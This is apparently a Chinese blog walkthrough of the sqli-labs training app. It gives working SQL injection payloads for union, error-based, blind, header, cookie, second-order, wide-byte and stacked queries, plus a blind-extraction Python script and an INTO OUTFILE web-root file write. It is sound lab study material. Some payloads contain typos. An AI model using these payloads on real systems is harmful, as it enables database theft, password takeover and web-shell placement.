http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
常规注入,order by 4不行,order by 3 可以
然后,我们看看回显位置
如下是源码
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo "
";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
他直接获取了我们的id,填了进去,那么我们闭合前面的引号,注释后面的语句
$sql="SELECT * FROM users WHERE id='-1' union select 1,2,3 --+' LIMIT 0,1";
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
group_concat 可以将所有的tables 提取出来
information_schema是mysql特有的库,存储各种数据库的信息
这里我们没有加入单引号
及为整形
源码这里和上面第一题,有明显不同
其余注入和第一题完全一致
查看源码我们发现
如果我们正常注入时,总归括号不能合并,那么我们
http://127.0.0.1/sqli-labs/Less-3/?id=-1') union select 1,2,3 --+
这样,语句就被我们闭合
$sql="SELECT * FROM users WHERE id=('-1') union select 1,2,3 --+') LIMIT 0,1";
其余注入和第一题讲解一致
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,3 --+
那么我们闭合完成的语句是
其余和第一题注入一致
正常闭合,显示正确
我们如果看到这样的报错信息,首先想到的就是布尔型盲注、报错型注入、时间延迟型盲注了,可以看他浏览器的反应来判断,这类型直接拿sqlmap跑就行,这里手工仅仅简单注入一下,毕竟这个工程量很大,
可以发现有明显延迟
我们可以盲注,?id=1' and length(database())=8
=8正好,一般情况需要考虑
>8 <8
接下来我们就可以使用一位一位的判断
可以自己写脚本,也可以burp
# coding:utf-8
import requests
import datetime
import time
# 获取数据库名长度
def database_len():
for i in range(1, 10):
url = "http://127.0.0.1/sqli-labs/Less-5/index.php"
payload = " ?id=1' and if(length(database())>%s,sleep(1),0) --+" % i
# print(url+payload+'%23')
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
print(i)
else:
print(i)
break
print('database_len:', i)
#获取数据库名
def database_name():
name = ''
for j in range(1,9):
for i in '0123456789abcdefghijklmnopqrstuvwxyz':
url = "http://127.0.0.1/sqli-labs/Less-5/index.php"
payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (j,i)
#print(url+payload)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >=3:
name += i
print(name)
break
print('database_name:', name)
if __name__ == '__main__':
database_name()
?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) -- +
暴表:
?id=1' and if(substr(select table_ name from information_schema.tables where table_schema=database(),%d,1))
爆列:
?id=1' and if(substr(select columns_name from infomation_schema.columns where table_shema=database(),%d,1))
因为这里并不是完全的无回显,所以我们试试updatexml报错注入
http://192.168.2.222/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x5e,database(),0x5e),1) --+
,database()处可换成任意SQL语句。
测试:http://192.168.2.222/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1) --+
报错: XPATH syntax error: ‘^Dumb~Dumb,Angelina~I-kill-you,D’ ,此时出现了一个小问题,我闷尝试这把所有内容爆出来,但是这里显示不全?原因就是我们的concat(0x5e,1,0x5e),如果完整的话,那么出现的内容两边必有
^(0x5e).所有这个右边还有内容没报错出来。
我们可以用substr函数,截取,最后在拼接。http://192.168.2.222/sqli-labs-master/Less-5/?id=1' and updatexml(1,concat(0x5e,(substr((select group_concat(username,0x7e,password) from users),1)),0x5e),1) --+
可将substr函数里的1处依次加31.(因为每次只能查出31为字符)
查询了第一个,输入的id使用“包裹,其余和第五关一致
所以只需要我们换成双引号即可
当我们准备闭合语句时候,
发现1'))
可以闭合
发现有三列
我们将my.ini进行修改后,可以进行写入文件
再经过一系列修改之后终于可以了,
帮忙踩个坑,这里我们修改secure时候记得重启电脑,因为phpstudy自己的bug,这里我们写入一句话连接即可
Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
当我们输入1‘时,发现闭合
没有回显,我们试试盲注
因为本地比较慢,,同时延时5秒,因此延迟了
而且她第一个字符是s
可以看到有明显差别
或者我们可以使用ascii码来进行查找
http://127.0.0.1/sqli-labs/Less-8/?id=1' and if(ascii(substr(database(),1,1))>1,sleep(5),sleep(1)) --+
从1-128,
substr的话从第一位取一个,到第八位取一个
其他同less5
使用万能密码时可以登录
admin' or 1 #)
是一个dump用户,当然admin也可以登录
这儿是有回显的注入
我们试试喽~
POST
发现只有2成立,3就不能正常了
发现回显12
我们正常查询即可~~~~
报错注入
uname=-admin' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1) #&passwd=admin&submit=Submit
单引号报错,发现可以闭合,')
因为我们登陆成功时并没有发现任何回显,
我们可以进行报错注入,
uname=admin') and extractvalue(1,concat(0x7e,(select database()))) --+
报错注入讲解,见另外一篇sql基础总结
我们使用基于时间的盲注,同1-10关的,只是在burp里修改即可
本地延迟比较高,我们时间使用多一点,因为她没有回显,只能用盲注了
方法2
报错注入
uname=uname=admin" and extractvalue(1,concat(0x7e,(select database())))--+
我们接着尝试万能密码
123' or 1 #
登录成功说明他是单引号闭合
我们使用admin’ and sleep(10) # 基于时间的盲注,其他的话就是用if喽,跟上面情况一致
与15关相同关闭了报错提示,但可以根据页面的回显来判断。
当测试到admin") #时页面显示登陆成功,所以闭合方式为双引号括号"),如果不知道用户名可以这样测试, 123") or 1 #
本关依旧是可以进行布尔盲注和时间盲注。
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
我们可以看到,用户名被check_input 包裹了,
而密码没有
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
这是他的检查函数
传入的值首先只会提取,前15 位
get_magic_quotes_gpc
— 获取当前 magic_quotes_gpc 的配置选项设置如果 magic_quotes_gpc 为关闭时返回 0,否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE。magic_quotes_gpc
开启时用于在预定义字符(单引号、双引号、斜杠、NULL)前加上反斜杠,
5.4.0 始终返回 FALSE,因为这个魔术引号功能已经从 PHP 中移除了。
";
echo 'Your IP ADDRESS is: ' .$IP;
echo "
";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
/*
echo 'Your Your User name:'. $uname;
echo "
";
echo 'Your Password:'. $passwd;
echo "
";
echo 'Your User Agent String:'. $uagent;
echo "
";
echo 'Your User Agent String:'. $IP;
*/
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Agent:'.$uname."\n");
fclose($fp);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "";
//echo "
";
echo '';
echo 'Your User Agent is: ' .$uagent;
echo "";
echo "
";
print_r(mysql_error());
echo "
";
echo '';
echo "
";
}
else
{
echo '';
//echo "Try again looser";
print_r(mysql_error());
echo "";
echo "";
echo '';
echo "";
}
}
?>
打开发现存在ip的回显,可能就是user-agent存在注入吧,我们查看代码
我们发现,它本身过滤的很好,但是在uagent的地方,直接进行了获取,直接进行了输出
同时进行了数据库的写入,
发现是单引号的闭合
我们burp试试看,登录成功后,果然是UA可以进行注入,并回显
发现并没有我们想要的结果,那么我们尝试报错注入
1',1,extractvalue(1,concat(0x7e,(database()),0x7e)))#
将后面注释,同时闭合,然后执行我们的报错
和上面比较相似,只不过是在referer处的回显
";
echo 'Your IP ADDRESS is: ' .$IP;
echo "
";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
/*
echo 'Your Your User name:'. $uname;
echo "
";
echo 'Your Password:'. $passwd;
echo "
";
echo 'Your User Agent String:'. $uagent;
echo "
";
echo 'Your User Agent String:'. $IP;
*/
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'Referer:'.$uname."\n");
fclose($fp);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '';
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "";
//echo "
";
echo '';
echo 'Your Referer is: ' .$uagent;
echo "";
echo "
";
print_r(mysql_error());
echo "
";
echo '';
echo "
";
}
else
{
echo '';
//echo "Try again looser";
print_r(mysql_error());
echo "";
echo "";
echo '';
echo "";
}
}
?>
他将ip和referer,进行了输出,
输入单引号,发生了报错
1' and extractvalue(1,concat(0x7e,(database()),0x7e)) and '
因为不知道他的前后有几个参数,所以我们使用and进行连接,
Welcome Dhakkan
这里使用我们的cookie进行了数据库的查询
那么我们应该从这里入手
输入单引号,发生了报错
但是我们闭合,注释,以后,发现它只是进行了回显而已
可以进行,
到4 发现报错,
我们让查询失败,同时查看我们的占位符
123的位置
其后与之前查询一致。
-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
我们发现cookie变为了base64编码的,但是却可以正常显示,那么我们将上一关的payload base64编码试试
查看源码,发现,这里进行了base64的加密,
解码同时,使用了(‘’)单引号,
成功回显,
根据题目,我们加入双引号,base后,发现报错,进而可以更加确定,
根据源码我们发现,使用双引号我们可以完成闭合,
"SELECT * FROM users WHERE username=-admin" union select 1,2,database()# LIMIT 0,1"
相当于之后的注释掉,然后,查询之前的,union语句
输入单引号,获得报错,
开幕雷击中,他这里将注释符过滤了,
但是我们查看他的sql语句,
我们可以使用单引号进行闭合,(单引号内的不会被执行)
"SELECT * FROM users WHERE id='1' and '1'='1 ' LIMIT 0,1"
tips:这里我必须是url编码才可以进行
/sqli-labs/Less-23/?id=2%27%20and%20%20%271%27=%27
可以正常运行,
可是这时候我们不能使用order by 进行检测了,我们可以使用union select 一个一个来,到4发现不行了,
SELECT * FROM users WHERE id='-1' union select 1,2,3 and '1'='1' LIMIT 0,1
他本身是一个完整的界面,
登陆界面,
转义了特殊字符,
创建新用户,这里也进行了转义
但是,修改密码的地方并没有过滤,那么我们可以进行二次注入
那么我们注册一个admin '#
虽然他是转义了,但是仍然在数据库中仍然存好了,
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin '#' and password='$curr_pass' ";
这里查询了username=admin,同时注释了后面的语句
那么我们直接修改密码即可,也就相当于修改了admin的密码
我么发现他的语句被过滤了,
因为过滤了or,我们双写即可
将我们的and也进行双写绕过,
这里进行了匹配or和and,置换为空
我们发现,数字型的过滤了or和and,我们双写即可,其他同之前的步骤
发现双引号不报错,单引号报错,说明应该使用单引号闭合
我们发现,他将空格和 and 都过滤了,
and 我们可以进行双写,空格该怎么办?
我们熟知的有:
/**/ () + ` \t
可是都不行,
他的过滤很多
%09 Tab键(水平)
%0a 新建一行
%0c 新的一页
%0d return 键
%0b Tab键(垂直)
%a0 空格
() 绕过
这一关多过滤了union和select ,我们可以使用大小写绕过
测试后发现%0A可以当作括号
成功回显
这里他把报错关了,语句由上一关的单引号,变成了无单引号,经过测试,可以通过双引号进行闭合。
这里是主要是匹配了union select
还有select,其余和上面的相同
这个还比上面的简单一点,他只过滤了union select其余的过滤都放开了
(很气,29-31被blog吃了,只能重写一遍)
HTTP参数污染(HTTP Parameter Pollution) 攻击者通过在HTTP请求中插入特定的参数来发起攻击,如果Web应用中存在这样的漏洞,可以被攻击者利用来进行客户端或者服务器端的攻击
转自聂哥
http参数污染,见sql注入总结的HTTP参数污染即可,
上面已经说过,waf服务器(tomcat)只解析重复参数里面的前者,而真正的web服务器(Apache)只解析重复参数里面的后者,我们可以传入两个id参数,前者合法而后者为我们想注入的内容
与上面一致,只不过换成了“)来闭合
$sql="SELECT * FROM users WHERE id= ("$id") LIMIT 0,1";
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
函数preg_quote
这里的使用方法是这个
将单引号,双引号转换为了\\,\i表示不区分大小写
将字符集设置成了gbk
才可以进行宽字节注入
我们发现他都是被转义的
因为数据库是gbk编码,那么,我们可以进行宽字节注入了
我们尝试%df'
,然后将浏览器编码改为gbk,我们可以看到,他变成了汉字
这是因为加上反斜杠也就是%5c
之后传入参数整体为%df%5c%27
,而前面说过,在mysql里认为前两个字符是一个汉字,也就是‘運’,而后面的单引号就逃逸出来了
查询时,mysql会在布尔型判断时会将数字开头的字符串当成其开头的数字,但是注意字符串要被引号包裹
我们的语句变为了
$sql="SELECT * FROM users WHERE id='-1�' union select 1,2,3--+' LIMIT 0,1";
因为语句是数字型,那么,他的过滤都是无用的,我们直接进行数字型的注入即可
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
本关使用了mysql_real_escape_string
函数
同时,设置了gbk编码,那么就会存在宽字节注入
这一关变为了post传参,其余和正常的宽字节注入一致,
同less-34
这一关是堆叠注入,详细的堆叠注入见sql注入总结
总结
我们正常查询,因为是堆叠注入,那么我们使用分号,来执行两条命令,我们修改dumb的密码试试
使用单引号将1闭合,
修改成功
$sql="SELECT * FROM users WHERE id='1';update users set password='12345' where username='Dumb' ;--+' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
这关关闭了报错,但是可以根据页面是否有内容来判断,语句是否正确
执行成功,使用1’)来闭合
我们再次修改dumb的密码
成功
本关是无报错,其余同39关一样
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
我们堆叠注入修改admin的密码
这是我们之前的密码
成功后,
本关是一个登录页面,对密码处没有过滤,那么我们对密码处进行堆叠注入
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')"
这次我们的语句需要闭合‘)了
同less-42关,只是关闭了报错
同less-43关,只是关闭了报错
我们按照他的规则,输入试试,发现是一个排序的表格
输如单引号也发现存在报错,那么我们肯定可以报错注入
既然是排序的表格,order by 后面虽然不能进行奇奇怪怪的union注入,但是可以进行desc/asc进行排序
http://127.0.0.1/sqli-labs/Less-46/?sort=(extractvalue(1,concat(0x7e,(select user()),0x7e)))#
有很明显的延时,说明可以使用时间注入
?sort=1 into outfile "D:\\phpStudy\\WWW\\sqli-labs\\Less-46\\111.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+
我们使用十六进制来替代
查看源码,我们发现,这里的id增添了单引号而已,其余和46关一致
同46关,只不过关闭了报错,无法使用报错注入
同47,关闭了报错,无法使用报错注入
对比46关,存在if (mysqli_multi_query($con1, $sql))
说明我们可以进行堆叠注入
对比47关,多了if (mysqli_multi_query($con1, $sql))
同50关,关闭了报错,采用报错注入以外的手段
同51关,关闭了报错,采用报错注入以外的手段
本关只有10次机会,
我们测试1,1‘,1’ --+
得出结果 正常,异常,正常,
得知,应该是单引号的闭合
那么我们使用orderby 查看有几列
发现到4的时候没有了回显
那么就只有三列,
看到了回显,
http://127.0.0.1/sqli-labs/Less-54/?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='challenges' --+
我们爆出表名
接着,查出列名
经过很多很多很多我们的尝试,发现1) --+
可以闭合,
我们让他回显
查表名,
查列名
http://127.0.0.1/sqli-labs/Less-55/?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='2gaf81dvi5' --+
本关查询语句是SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1
所以payload换为id=-1’) ··· 其余同上一关
本关查询语句改为SELECT * FROM security.users WHERE id="$id" LIMIT 0,1
所以payload换为id=-1" ··· 其余同上一关关
只有五次机会,
它存在报错,我们就可以尝试报错注入
可以查询,但是没有回显。
查到列
本关查询语句SELECT * FROM security.users WHERE id=$id LIMIT 0,1
所以payload换为id=-1 ··· 其余同上一关
本关查询语句SELECT * FROM security.users WHERE id=("$id") LIMIT 0,1
所以payload换为id=-1") ··· 其余上一关
本关查询语句SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1
所以payload换为id=-1’)) ··· 其余同58关
这关关闭了报错,但是存在很明显的延迟
修改这个地方aaa
范围是0~128 ascii码
/Less-63/?id=1' --+
,回显正常,说明闭合方式为单引号’
同样时间盲注,跟62关一样。
Less-64/?id=1)) --+
页面回显正常验证了就是两括号的闭合方式。
时间盲注同62
/Less-65/?id=1") --+
页面回显正常,说明闭合方式为双引号括号")
同样时间盲注,跟62关一样。